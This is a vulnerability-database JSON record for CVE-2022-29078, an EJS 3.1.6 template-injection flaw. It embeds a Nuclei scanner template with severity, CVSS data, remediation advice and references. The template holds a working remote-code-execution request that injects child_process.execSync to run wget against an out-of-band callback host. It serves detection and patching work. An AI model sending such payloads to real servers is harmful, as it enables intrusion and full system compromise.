{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2022-29078/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2022-29078/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2022-29078/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2022-29078/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2022-29078/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2022-29078"},"sightings":{"href":"/api/v1/sightings/cve-2022-29078"}},"enrichments":{"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2022/CVE-2022-29078.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2022-29078\n\ninfo:\n  name: Node.js Embedded JavaScript 3.1.6 - Template Injection\n  author: For3stCo1d\n  severity: critical\n  description: |\n    Node.js Embedded JavaScript 3.1.6 is susceptible to server-side template injection via settings[view options][outputFunctionName], which is parsed as an internal option and overwrites the outputFunctionName option with an arbitrary OS command, which is then executed upon template compilation.\n  impact: |\n    Remote code execution can lead to unauthorized access, data leakage, and complete system compromise.\n  remediation: |\n    Upgrade to a patched version of Node.js Embedded JavaScript (3.1.7 or higher) to mitigate the vulnerability.\n  reference:\n    - https://eslam.io/posts/ejs-server-side-template-injection-rce/\n    - https://github.com/miko550/CVE-2022-29078\n    - https://github.com/mde/ejs/commit/15ee698583c98dadc456639d6245580d17a24baf\n    - https://nvd.nist.gov/vuln/detail/CVE-2022-29078\n    - https://github.com/mde/ejs/releases\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2022-29078\n    cwe-id: CWE-94\n    epss-score: 0.32808\n    epss-percentile: 0.98296\n    cpe: cpe:2.3:a:ejs:ejs:3.1.6:*:*:*:*:node.js:*:*\n  metadata:\n    max-request: 1\n    vendor: ejs\n    product: ejs\n    framework: node.js\n  tags: cve,cve2022,ssti,rce,ejs,nodejs,oast,intrusive,node.js,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        GET /page?id={{randstr}}&settings[view%20options][outputFunctionName]=x;process.mainModule.require(%27child_process%27).execSync(%27wget+http://{{interactsh-url}}%27);s HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol # Confirms the HTTP Interaction\n        words:\n          - http\n\n      - type: word\n        part: body\n        words:\n          - You are viewing page number\n# digest: 490a0046304402200477518f664c92ad434ed004d83ffa4716bb1c68db3373b19369483148f732ce02202b1713c269d41079a9523273bbb71e5383fbe7ddd8c047938d814da2d7ad6fbd:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2022-29078"}